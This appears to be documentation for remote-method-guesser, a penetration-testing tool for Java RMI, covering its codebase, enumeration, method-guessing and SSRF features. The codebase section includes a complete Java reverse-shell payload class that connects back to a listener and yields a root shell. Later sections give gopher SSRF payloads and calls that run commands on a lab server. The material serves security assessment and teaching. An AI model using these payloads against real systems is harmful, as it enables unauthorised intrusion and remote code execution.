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Actions

In this document you can find additional information for some of remote-method-guesser's actions.

Codebase Action

In 2011, many Java RMI endpoints were vulnerable to remote class loading attacks due to an insecure by default configuration within Java RMI. This configurations allowed remote clients to specify a codebase that was used by the server to fetch unknown classes during runtime. By sending a custom class, that is not known by the server, during RMI calls and setting the codebase to an attacker controlled HTTP server, it was possible to get reliable remote code execution on most Java RMI endpoints.

Despite being fixed in the default configuration, this vulnerability can still be present if an application server sets the useCodebaseOnly option to false and uses a SecurityManager with a lax configured security policy. Unfortunately, the current tool landscape for Java RMI does not include reliable checks for this vulnerability. Most tools focus on the Distributed Garbage Collector, which is not ideal for the following reasons:

  1. The Distributed Garbage Collector sets the useCodebaseOnly property explicitly to true within the UnicastServerRef.java class. This overwrites custom configurations and always disables remote class loading for all calls to the DGC.

  2. RMI calls to the Distributed Garbage Collector are handled within a separate AccessControlContext, which denies all outbound connections. This AccessControlContext (defined in DGCImpl.java) overwrites the current security policy and ignores user defined policy rules.

  3. Even without the two restrictions mentioned above, remote class loading would still fail. The idea of class loading is to send an object of a custom class (unknown to the remote server) within RMI calls. During a successful attack, the server fetches the class definition from the attacker and calls the readObject method that contains malicious Java code. However, as internal RMI communication is nowadays protected by deserialization filters, unknown classes are rejected while reading the ObjectInputStream. Whereas the RMI registry allows unknown classes that implement certain interfaces, the DGC uses a more strict deserialization filter and it is not possible to send unknown classes to it.

For the above mentioned reasons, the Distributed Garbage Collector is no longer suitable for enumerating remote class loading. It can be used to detect whether a Security Manager is used, but that is only one of the mandatory conditions for being vulnerable to codebase attacks. A little bit better is the situation for the RMI registry. The RMI registry still respects a user defined useCodebaseOnly setting and uses a SecurityManager that allows outbound connections by default. Therefore, a setting of useCodebaseonly=false is already sufficient to load classes from remote. However, there are two downsides:

  1. If no user defined SecurityManager with corresponding permissions is present, the loaded remote classes are affected by the security policy of the RMI registry. As this policy is only concerned about networking, file and process access might be limited.

  2. To trigger remote class loading it is required to enforce a readObject call on the RMI registry. Before June 2020, this was easy, as the String argument of the lookup(String name) method was unmarshalled via readObject. However, on most recent RMI registries you can only use the bind and rebind methods, that can only be invoked from localhost.

  3. The RMI registry uses an security manager by default only in it's default implementation. When the RMI registry is created manually, no security manager is created by default.

Whereas the internal RMI communications (DGC and RMI registry) are well protected, RMI communication on the application level is not. A server configured with useCodebaseonly=false and a lax configured SecurityManager might be exploitable, but you need to know a valid method signature. Furthermore, also on the application level it is required that the remote method leads to a call to readObject on the server side. Therefore, the targeted remote method needs non primitive input parameters. As in case of the registry, java.lang.String might be sufficient for older RMI servers, whereas it does not work for newer ones. The following listing shows an example for a successful codebase attack:

[qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 Shell http://172.17.0.1:8000 --signature 'String login(java.util.HashMap dummy1)' --bound-name legacy-service
[+] Attempting codebase attack on RMI endpoint...
[+] Using class Shell with codebase http://172.17.0.1:8000/ during login call.
[+]
[+] 	Using non primitive argument type java.util.HashMap on position 0
[+] 	Specified method signature is String login(java.util.HashMap dummy1)
[+]

When used against a vulnerable endpoint, you should obtain an HTTP request for the specified class:

[qtc@devbox www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [01/Dec/2021 07:36:10] "GET /Shell.class HTTP/1.1" 200 -

remote-method-guesser expects the payload class to have a serialVersionUID of 2L, but apart from that you can do anything within the readObject method of the class. For this demonstration, the following class definition was used, that spawns a reverse shell:

// Taken from: https://gist.github.com/caseydunham/53eb8503efad39b83633961f12441af0

import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.util.jar.Attributes;
import java.io.Serializable;
import java.io.ObjectInputStream;
import java.rmi.Remote;

public class Shell implements Serializable, Remote
{
    private static int port = 4444;
    private static String cmd = "/bin/ash";
    private static String host = "172.17.0.1";
    private static final long serialVersionUID = 2L;

    private void readObject(ObjectInputStream aInputStream) throws ClassNotFoundException, IOException, Exception
    {
        Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
        Socket s = new Socket(host,port);
        InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
        OutputStream po = p.getOutputStream(), so = s.getOutputStream();
        while(!s.isClosed()) {

            while(pi.available()>0)
                so.write(pi.read());

            while(pe.available()>0)
                so.write(pe.read());

            while(si.available()>0)
                po.write(si.read());

            so.flush();
            po.flush();
            Thread.sleep(50);

            try {
                p.exitValue();
                break;
            } catch (Exception e){}
        }

        p.destroy();
        s.close();
    }
}

After the class was loaded by the vulnerable endpoint, a shell pops up on the corresponding listener:

[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:36222.
id
uid=0(root) gid=0(root) groups=0(root)

As previously mentioned, the internal RMI communication of modern RMI endpoints is hardened against codebase and deserialization attacks. Nonetheless, remote-method-guesser also supports codebase attacks on the DGC and RMI registry level and allows you to verify the vulnerability on older RMI endpoints. In case of the RMI registry, it turns out that class loading is even possible on fully patched endpoints, if the useCodebaseOnly property is set to false and the SecurityManager allows the requested action of the payload class.

However, notice that in this case the payload class needs to extend or implement an (interface) class that is explicitly allowed by the deserialization filters of the RMI registry. This is why the above mentioned payload class needs to implement java.rmi.Remote. Without implementing this interface, the class would have been rejected by the RMI registry.

[qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 Shell http://172.17.0.1:8000 --component reg
[+] Attempting codebase attack on RMI Registry endpoint...
[+] Using class Shell with codebase http://172.17.0.1:8000/ during lookup call.

[qtc@devbox www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [01/Dec/2021 07:38:04] "GET /Shell.class HTTP/1.1" 200 -

[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:36242.
id
uid=0(root) gid=0(root) groups=0(root)

When performing codebase attacks on the Distributed Garbage Collector, the response can contain a confusing error message:

[qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 Example 172.17.0.1:8000 --component dgc --stack-trace
[+] Attempting codebase attack on DGC endpoint...
[+] Using class Example with codebase http://172.17.0.1:8000/ during clean call.
[+]
[-] 	Caught unexpected AccessControlException during clean call.
[-] 	The servers SecurityManager may refused the operation.
[-]
[-] 	StackTrace:
java.rmi.ServerException: RemoteException occurred in server thread; nested exception is:
	java.rmi.UnmarshalException: error unmarshalling arguments; nested exception is:
	java.lang.ClassNotFoundException: access to class loader denied
	[...]
Caused by: java.rmi.UnmarshalException: error unmarshalling arguments; nested exception is:
	java.lang.ClassNotFoundException: access to class loader denied
	[...]
Caused by: java.lang.ClassNotFoundException: access to class loader denied
	[...]
Caused by: java.security.AccessControlException: access denied ("java.net.SocketPermission" "iinsecure.dev:80" "connect,resolve")
	at java.security.AccessControlContext.checkPermission(Unknown Source)
	[...]

The message that access to the class loader is denied and the fact that the DGC requests connect and resolve permissions looks like it would actually respect the user specified codebase. However, this is not the case. As mentioned above, the DGC nowadays always runs with useCodebaseOnly=true and does not respect user defined settings. The crucial part in the above error message is the location from which the DGC want's to load the class: iinsecure.dev:80. This is the server side codebase and not the codebase location that was specified on the command line. A setting of useCodebaseOnly=false only ignores client specified codebases, whereas server codebases are still used. However, since the DGC uses it's own and very strict AccessControlContext, you get the access denied error.

Enum Action

In this section, the different checks of the enum action and it's outputs are explained in more detail:

Bound Name Enumeration

The bound name enumeration should be self explanatory. In this check remote-method-guesser simply obtains a list of bound names registered on an RMI registry. Additionally, each bound name is queried once to obtain the class or interface name that is used when dispatching calls to the corresponding bound name. Obtained class names are printed and marked as either known or unknown. remote-method-guesser contains a database of known RMI classes. These are classes that have been encountered before and for which certain meta information is available. Corresponding class names can be used in remote-method-guesser's known action to view the stored meta information:

[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 6
[+] RMI registry bound names:
[+]
[+] 	- jmxrmi
[+] 		--> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] 		    Endpoint: iinsecure.dev:42222  TLS: no  ObjID: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
[+]
[qtc@devbox ~]$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] 	JMX Server
[+]
[+] Class Name:
[+] 	- javax.management.remote.rmi.RMIServerImpl_Stub
[+] 	- javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] 	Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] 	This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] 	method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] 	value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] 	actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] 	- String getVersion()
[+] 	- javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] 	- https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] 	- https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		MLet
[+]
[+] 	Description:
[+] 		MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] 		other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] 		is therefore most of the time equivalent to remote code execution.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		Deserialization
[+]
[+] 	Description:
[+] 		Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] 		method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] 		actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] 		establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshoote

Apart from the bound names and the class information, remote-method-guesser displays information on the remote objects ObjID, the location of the corresponding RMI endpoint the bound name is referring to and whether connections to the RMI endpoint are encrypted (TLS).

Activatable Bound Names

In some cases, bound names listed by remote-method-guesser use a different format as mentioned above. This is usually the case when the RMI server uses an Activation System and activatable remote objects. The following listing shows an example for this situation:

[qtc@devbox ~]$ rmg enum 172.17.0.2 1098
[+] RMI registry bound names:
[+]
[+] 	- activation-test
[+] 		--> de.qtc.rmg.server.activation.IActivationService (unknown class)
[+] 		    Activator: iinsecure.dev:1098  ActivationID: 6fd4e3c:180ac45a068:-7ff1
[+] 	- activation-test2
[+] 		--> de.qtc.rmg.server.activation.IActivationService2 (unknown class)
[+] 		    Activator: iinsecure.dev:1098  ActivationID: 6fd4e3c:180ac45a068:-7fee
[+] 	- plain-server
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:41867  TLS: no  ObjID: [6fd4e3c:180ac45a068:-7fec, 969949632761859811]
[+] 	- java.rmi.activation.ActivationSystem
[+] 		--> sun.rmi.server.Activation$ActivationSystemImpl_Stub (known class: RMI Activation System)
[+] 		    Endpoint: iinsecure.dev:1098  TLS: no  ObjID: [0:0:0, 4]

Instead of displaying the target endpoint, the TLS status and the associated ObjID, remote-method-guesser displays the targeted Activator instance and the associated ActivationID.

In contrast to ordinary remote objects, that can be called directly, activatable remote objects need to be activated first. The idea is, that the server components that implement the activatable remote objects can suspend and do not need to be available all the time. When a client wants to call such an object, it uses the ActivationID obtained from the RMI registry and sends it to the Activator endpoint. The Activator is when responsible to start the associated remote object and returns an ordinary UnicastRef to the client. This reference is when used for the call.

Whereas all other actions of remote-method-guesser perform activation implicitly, for the enum action, you need use the command line option --activate if you want to activate objects during enumeration. When doing so, remote-method-guesser dispatches one additional call to the Activator for each ActivatableRef bound to the RMI registry. Information from the obtained UnicastRef is then displayed as usual below the activation related information:

[qtc@devbox ~]$ rmg enum 172.17.0.2 1098 --activate
[+] RMI registry bound names:
[+]
[+] 	- activation-test
[+] 		--> de.qtc.rmg.server.activation.IActivationService (unknown class)
[+] 		    Activator: iinsecure.dev:1098  ActivationID: 6fd4e3c:180ac45a068:-7ff1
[+] 		    Endpoint: iinsecure.dev:37597  TLS: no  ObjID: [1c74dc89:180ac521427:-7ffb, 3078273701606404425]
[+] 	- activation-test2
[+] 		--> de.qtc.rmg.server.activation.IActivationService2 (unknown class)
[+] 		    Activator: iinsecure.dev:1098  ActivationID: 6fd4e3c:180ac45a068:-7fee
[+] 		    Endpoint: iinsecure.dev:35721  TLS: yes  ObjID: [1c74dc89:180ac521427:-7ff8, 6235870260204364974]
[+] 	- plain-server
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:41867  TLS: no  ObjID: [6fd4e3c:180ac45a068:-7fec, 969949632761859811]
[+] 	- java.rmi.activation.ActivationSystem
[+] 		--> sun.rmi.server.Activation$ActivationSystemImpl_Stub (known class: RMI Activation System)
[+] 		    Endpoint: iinsecure.dev:1098  TLS: no  ObjID: [0:0:0, 4]

Codebase Enumeration

Apart from client specified codebases explained above, RMI servers can also expose a codebase to download class definitions dynamically. The idea is basically that it enables client's to call remote methods without having all required class definitions within their own class path. Imagine a method like ServerManager getServerManager(), where the ServerManager class is implemented by the server, but is not known to the client. Calling this method without a server exposed codebase would lead to a ClassNotFoundException, as the class definition is not known on the client side. With a server exposed codebase, the client could enable remote class loading (useCodebaseOnly=false) and the RMI internals would download the class from the server specified codebase during the method call.

As with client specified codebases, remote class loading is always a security risk and UseCodebaseOnly is set to true by default. Due to the implied security risks, this concept is generally not often used in practice. When developing applications that use Java RMI for client-server communication, you usually already compile all required classes and interface definitions into the client. Exposing a server-side codebase is therefore usually not required.

remote-method-guesser looks out for these server-side specified codebase definitions anyway. During a black box security assessment, encountering a HTTP based server-side codebase can be huge deal. It may allows you to download class definitions that expose information about the RMI endpoint. Sometimes you also find codebases that rely on the file protocol. While not being that useful without server access, a file based codebase still reveals internal paths that could be useful for other attacks as well.

[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | rg "RMI server codebase" -A 3
[+] RMI server codebase enumeration:
[+]
[+] 	- http://iinsecure.dev/well-hidden-development-folder/
[+]

String Marshalling

When dispatching RMI calls, the RMI server uses different methods to unmarshal the client specified arguments. Primitive types like int are marshalled via their corresponding read-method like e.g. readInt. Non primitive types are usually unmarshalled via readObject, that can be used for certain types of attacks.

In June 2020, the unmarshalling behavior of the String type was changed. Instead of unmarshalling String via readObject, the String type is now read via readString on modern RMI endpoints. This prevents certain attack types on remote methods that only accept String typed arguments.

remote-method-guesser is capable of enumerating the corresponding unmarshalling behavior and returns one of the following outputs during its enumeration:

  • Current Default: The String type is unmarshalled via readString.
  • Outdated: The String type is unmarshalled via readObject, which usually means that the corresponding RMI endpoint is out of date.
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 --scan-action string-marshalling
[+] RMI server String unmarshalling enumeration:
[+]
[+] 	- Caught ClassNotFoundException during lookup call.
[+] 	  --> The type java.lang.String is unmarshalled via readObject().
[+] 	  Configuration Status: Outdated

useCodebaseOnly Enumeration

The useCodebaseOnly enumeration attempts to detect the servers setting on the useCodebaseOnly attribute. The impact of this attribute was already explained within the codebase action section. The enumeration can return one of the following results:

  • Current Default: The RMI server runs with useCodebaseOnly=true
  • Non Default: The RMI server runs with useCodebaseOnly=false

Notice that the second status was intentionally not named Vulnerable, as the actual exploitability depends on the settings of the SecurityManager. Please refer to the codebase action section for more details.

The codebase enumeration is implemented by sending a malformed URL as client side codebase during RMI calls. When useCodebaseOnly is set to false (and a SecurityManager is present), the server attempts to parse the malformed URL and throws a corresponding exception. This makes the codebase enumeration very reliable.

Codebase enumeration is only supported for registry endpoints, since the DGC is not suitable for an reliable enumeration (see codebase action). Furthermore, the String type needs to be unmarshalled via readObject. If this is not the case, you can still enumerate the useCodebaseOnly setting from localhost RMI endpoints by using a different method than lookup in the --registry-method option.

[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 --scan-action codebase
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] 	- Caught MalformedURLException during lookup call.
[+] 	  --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] 	  Configuration Status: Non Default

CVE-2019-2684 Enumeration

During bind operations, the RMI registry verifies that incoming connections are performed from localhost, which is the only requirement on the client. Other authentication mechanisms are not in place within the default registry implementation. CVE-2019-2684 was a vulnerability within the default RMI registry implementation that let remote users bind, rebind and unbind objects from the registry endpoint. During it's enum action, rmg can detect this vulnerability and responds with either of the following:

  • Non Vulnerable: The vulnerability is patched.
  • Vulnerable: The server is vulnerable (can be confirmed by using e.g. rmg's bind action.
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 --scan-action localhost-bypass
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] 	- Caught NotBoundException during unbind call (unbind was accepeted).
[+] 	  Vulnerability Status: Vulnerable

Security Manager Enumeration

The security manager enumeration is what other RMI tools do during their codebase enumeration. It uses calls to the Distributed Garbage Collector to verify whether a security manager is present on the server side.

  • Current Default: Is displayed when the enumeration is successful, independent of the result (SecurityManager present or not). Whether a SecurityManager is present can be read from the status message.
  • Outdated: During the DGC call that enumerates the SecurityManager setting, a malformed client side codebase is used. As explained in the codebase-action section, this is usually pointless, but for very old DGC instances it can still work. The DGC when attempts to parse the malformed codebase and throws an exception. The endpoint is marked as Outdated in this case.
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 --scan-action security-manager
[+] RMI Security Manager enumeration:
[+]
[+] 	- Security Manager rejected access to the class loader.
[+] 	  --> The server does use a Security Manager.
[+] 	  Configuration Status: Current Default

JEP 290 Enumeration

The JEP 290 enumeration checks for the deserialization filters on the RMI endpoint. It sends a java.util.HashMap object to the DGC and inspects the returned exception message. The corresponding result can be one of the following:

  • Non Vulnerable: JEP 290 is installed and the DGC rejected the deserialization.
  • Vulnerable: The java.util.HashMap object was deserialized and the endpoint is vulnerable to deserialization attacks.
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 --scan-action jep290
[+] RMI server JEP290 enumeration:
[+]
[+] 	- DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] 	  Vulnerability Status: Non Vulnerable

JEP 290 Bypass Enumeration

There are currently two well known bypasses for the RMI registry deserialization filters. One is the JRMPClient gadget of ysoserial and the other was identified by An Trinh and is explained in great detail in this blog post. Both bypasses are patched on modern RMI registry endpoints. During it's enumeration, rmg uses the An Trinh gadget (as it is newer) with an invalid set of arguments. Depending on the corresponding exception message, the result status is:

  • Non Vulnerable: The bypass was patched and the gadget is not working.
  • Vulnerable: The registry deserialization filters can be bypassed using the An Trinh gadget.

Notice that for this enumeration technique to work from remote, the RMI registry must use readObject to unmarshal the String type. From localhost, you can also enumerate servers that use readString, by using e.g. the --reg-method bind option.

[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 --scan-action filter-bypass
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] 	- Caught IllegalArgumentException after sending An Trinh gadget.
[+] 	  Vulnerability Status: Vulnerabl

Activation System Enumeration

The Activation System and it's possible attack vectors are explained in great detail in the activator action section. This enumeration tells you whether an activator instance is available on the targeted RMI registry. The result is either:

  • Current Default: No activator object is present.
  • Vulnerable: An activator is present and allows deserialization and probably codebase attacks.
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 --scan-action activator
[+] RMI ActivationSystem enumeration:
[+]
[+] 	- Caught IllegalArgumentException during activate call (activator is present).
[+] 	  --> Deserialization allowed	 - Vulnerability Status: Vulnerable
[+] 	  --> Client codebase enabled	 - Configuration Status: Non Default

Guess Action

When using the guess operation, rmg attempts to identify existing remote methods by sending method hashes to the remote server. This operation requires a wordlist that contains the corresponding method definitions in the following form:

[qtc@devbox ~]$ head -n 5 /tmp/wordlist.txt
boolean call(String[] dummy)
boolean call(String dummy)
boolean call(String dummy, String[] dummy2)
boolean call(String dummy, String dummy2)
boolean call(String dummy, String dummy2, String dummy3)

remote-method-guesser ships some default wordlists that are included in the executable jar file. Modifying the default wordlists can be done via the rmg configuration file and rebuilding the project. To dynamically choose a different wordlist file you can use the--wordlist-file or --wordlist-folder options. The default wordlists are stored in an optimized wordlist format. remote-method-guesser updates custom wordlists to the optimized format when you run the guess action with the --update option.

[qtc@devbox ~]$ head -n 5 /tmp/wordlist.txt
boolean call(String[] dummy)
boolean call(String dummy)
boolean call(String dummy, String[] dummy2)
boolean call(String dummy, String dummy2)
boolean call(String dummy, String dummy2, String dummy3)

[qtc@devbox ~]$ rmg guess 172.17.0.2 1090 --ssl --update --wordlist-file /tmp/wordlist.txt
[+] Reading method candidates from file /tmp/wordlist.txt
[+] 	752 methods were successfully parsed.
[+] 	Updating wordlist file.
[+]
[+] Starting Method Guessing on 752 method signature(s).
[+]
[+] 	MethodGuesser is running:
[+] 		--------------------------------
[+] 		[ plain-server  ] HIT! Method with signature String execute(String dummy) exists!
[+] 		[ plain-server  ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] 		[ ssl-server    ] HIT! Method with signature String system(String[] dummy) exists!
[+] 		[ ssl-server    ] HIT! Method with signature int execute(String dummy) exists!
[+] 		[ secure-server ] HIT! Method with signature void logMessage(int dummy1, Object dummy2) exists!
[+] 		[ secure-server ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] 		[ secure-server ] HIT! Method with signature void updatePreferences(java.util.ArrayList dummy1) exists!
[+] 		[2256 / 2256] [#####################################] 100%
[+] 	done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] 	- plain-server
[+] 		--> String execute(String dummy)
[+] 		--> String system(String dummy, String[] dummy2)
[+] 	- ssl-server
[+] 		--> String system(String[] dummy)
[+] 		--> int execute(String dummy)
[+] 	- secure-server
[+] 		--> void logMessage(int dummy1, Object dummy2)
[+] 		--> String login(java.util.HashMap dummy1)
[+] 		--> void updatePreferences(java.util.ArrayList dummy1)

[qtc@devbox ~]$ head -n 5 /tmp/wordlist.txt
String call(String dummy); 6072772491684722760; 0; false
String call(String dummy, String dummy2); -5340760563417170050; 0; false
String call(String dummy, String dummy2, String dummy3); -6078616129276353442; 0; false
String call(String dummy, String[] dummy2); 6278640985022911931; 0; false
String call(String[] dummy); 7759068303290927030; 0; false

remote-method-guesser's uses invalid argument types during method calls. This allows to identify valid method signatures while not leading to real method invocations on the server side. Methods with zero arguments are skipped by default. You can enable them by using the --zero-arg option. However, keep in mind that zero argument methods lead to real method calls on the server side, as their invocation cannot be prevented by using invalid argument types.

When methods have been successfully guessed, you may want to invoke them using regular RMI calls (e.g. String execute(String dummy) from above). The preferred way of doing this is by using remote-method-guesser's call action:

[qtc@devbox remote-method-guesser]$ rmg call --ssl 172.17.0.2 1090 '"id"' --signature "String execute(String dummy)" --bound-name plain-server --plugin GenericPrint.har
[+] uid=0(root) gid=0(root) groups=0(root)

However, remote-method-guesser can also dynamically create some Java code that can be used to call the identified methods. To use the dynamic code generation, just specify the --create-samples option during the guess action.

[qtc@devbox ~]$ rmg guess --ssl 172.17.0.2 1090 --signature "String execute(String dummy)" --bound-name plain-server --create-samples
[+] Starting Method Guessing on 1 method signature(s).
[+] Method signature: String execute(String dummy).
[+]
[+] 	MethodGuesser is running:
[+] 		--------------------------------
[+] 		[ plain-server ] HIT! Method with signature String execute(String dummy) exists!
[+] 		[1 / 1] [#####################################] 100%
[+] 	done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] 	- plain-server
[+] 		--> String execute(String dummy)
[+]
[+] Starting creation of sample files:
[+]
[+] 	Sample folder /home/qtc/rmg-samples does not exist.
[+] 	Creating sample folder.
[+]
[+] 	Creating samples for bound name plain-server.
[+] 		Writing sample file /home/qtc/rmg-samples/plain-server/IPlainServer.java
[+] 		Writing sample file /home/qtc/rmg-samples/plain-server/execute/execute.java

To use the dynamically create Java code, first compile the interface class (IPlainServer.java). Then adjust the argument values for your call in the method class (execute.java):

[qtc@devbox ~]$ cd rmg-samples/plain-server/
[qtc@devbox plain-server]$ ls
execute  IPlainServer.java
[qtc@devbox plain-server]$ javac IPlainServer.java -d execute/
[qtc@devbox plain-server]$ cd execute/
[qtc@devbox execute]$ rg 'TODO' execute.java
100:            java.lang.String argument0 = TODO;
[qtc@devbox execute]$ sed -i 's/TODO/"id"/' execute.java
[qtc@devbox execute]$ javac execute.java
[qtc@devbox execute]$ java execute
[+] Connecting to registry on 172.17.0.2:1090... done!
[+] Starting lookup on plain-server...
[+] RMI object tries to connect to different remote host: iinsecure.dev
[+]	Redirecting the connection back to 172.17.0.2...
[+]	This is done for all further requests. This message is not shown again.
[+] Invoking method execute... done!
[+] The servers response is: uid=0(root) gid=0(root) groups=0(root)

SSRF Support

Since remote-method-guesser version v4.0.0, most actions support the --ssrf option. Instead of contacting the specified RMI service directly, remote-method-guesser creates an corresponding SSRF payload when the --ssrf option is used. Additionally, the --gopher and --encode options can be used to create an ready to use gopher payload:

[qtc@devbox ~]$ rmg enum 172.17.0.2 1090 --ssrf --gopher --encode
[+] SSRF Payload: gopher%3A%2F%2F172.17.0.2%3A1090%2F_%254a%2552%254d%2549%2500%2502%254b%2500%2509%2531%2532%2537%252e%2530%252e%2531%252e%2531%2500%2500%2500%2500%2550%25ac%25ed%2500%2505%2577%2522%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2501%2544%2515%254d%25c9%25d4%25e6%253b%25df

When targeting RMI services via SSRF, there are two requirements that need to be satisfied:

  1. The SSRF endpoint allows you to send arbitrary byte values to the target RMI service. Especially, this includes NULL bytes, that are usually required during RMI communication. SSRF endpoints with gopher support are probably the most common scenario to meet this requirement. That being said, newer versions of curl even prevent NULL bytes in gopher payloads.

  2. RMI communication requires the client to know the ObjID value of the target remote object. When talking to the RMI registry, the Distributed Garbage Collector or the Activation System, the ObjID value is already known and requirement one is sufficient for an SSRF attack. When talking to other remote objects, you need a way to lookup the corresponding ObjID first. The ObjID value of remote objects is usually stored in the RMI registry and can also be looked up using an SSRF attack. However, for this to work the SSRF endpoint needs to be capable of returning arbitrary byte values obtained from the RMI endpoint. Responses from the RMI server can be feed back into remote-method-guesser by using the --ssrf-response option. remote-method-guesser then attempts to parse the response as it was directly obtained from the RMI service during the specified action.

The two requirements mentioned above restrict SSRF attacks on Java RMI endpoints quite a bit. However, when both conditions are met, you can fully utilize the RMI service via SSRF. The remote-method-guesser repository also contains an SSRF example server, that can be used to practice SSRF attacks against Java RMI.

To perform the different checks of remote-method-guesser's enum action via SSRF, you can use the --scan-action option. Without specifying this option, the SSRF payload generated for the enum action is similar to the payload created when using --scan-action list:

[qtc@devbox ~]$ rmg enum 127.0.0.1 1090 --ssrf --gopher --encode
[+] SSRF Payload: gopher%3A%2F%2F127.0.0.1%3A1090%2F_%254a%2552%254d%2549%2500%2502%254b%2500%2509%2531%2532%2537%252e%2530%252e%2531%252e%2531%2500%2500%2500%2500%2550%25ac%25ed%2500%2505%2577%2522%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2501%2544%2515%254d%25c9%25d4%25e6%253b%25df

[qtc@devbox ~]$ curl 172.17.0.2:8000/?url=gopher%3A%2F%2F172.17.0.2%3A1090%2F_%254a%2552%254d%2549%2500%2502%254b%2500%2509%2531%2532%2537%252e%2530%252e%2531%252e%2531%2500%2500%2500%2500%2550%25ac%25ed%2500%2505%2577%2522%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2501%2544%2515%254d%25c9%25d4%25e6%253b%25df 2>/dev/null | xxd -p -c1000
4e00093132372e302e302e310000c48651aced0005770f01c95068b90000017d8947959b8008757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000074002f687474703a2f2f6c6f63616c686f73743a383030302f726d692d636c6173732d646566696e6974696f6e732e6a617278700000000274000b46696c654d616e616765727400066a6d78726d69

[qtc@devbox ~]$ rmg enum 127.0.0.1 1090 --ssrf-response 4e00093132372e302e302e310000c48651aced0005770f01c95068b90000017d8947959b8008757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000074002f687474703a2f2f6c6f63616c686f73743a383030302f726d692d636c6173732d646566696e6974696f6e732e6a617278700000000274000b46696c654d616e616765727400066a6d78726d69
[+] RMI registry bound names:
[+]
[+] 	- FileManager
[+] 	- jmxrmi

The --scan-action list action is limited to showing the available bound names when used without further arguments. By using the --bound-name during the action, more detailed information can be obtained:

[qtc@devbox ~]$ rmg enum 127.0.0.1 1090 --ssrf --gopher --encode --bound-name FileManager
[+] SSRF Payload: gopher%3A%2F%2F127.0.0.1%3A1090%2F_%254a%2552%254d%2549%2500%2502%254b%2500%2509%2531%2532%2537%252e%2530%252e%2531%252e%2531%2500%2500%2500%2500%2550%25ac%25ed%2500%2505%2577%2522%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2502%2544%2515%254d%25c9%25d4%25e6%253b%25df%2574%2500%250b%2546%2569%256c%2565%254d%2561%256e%2561%2567%2565%2572

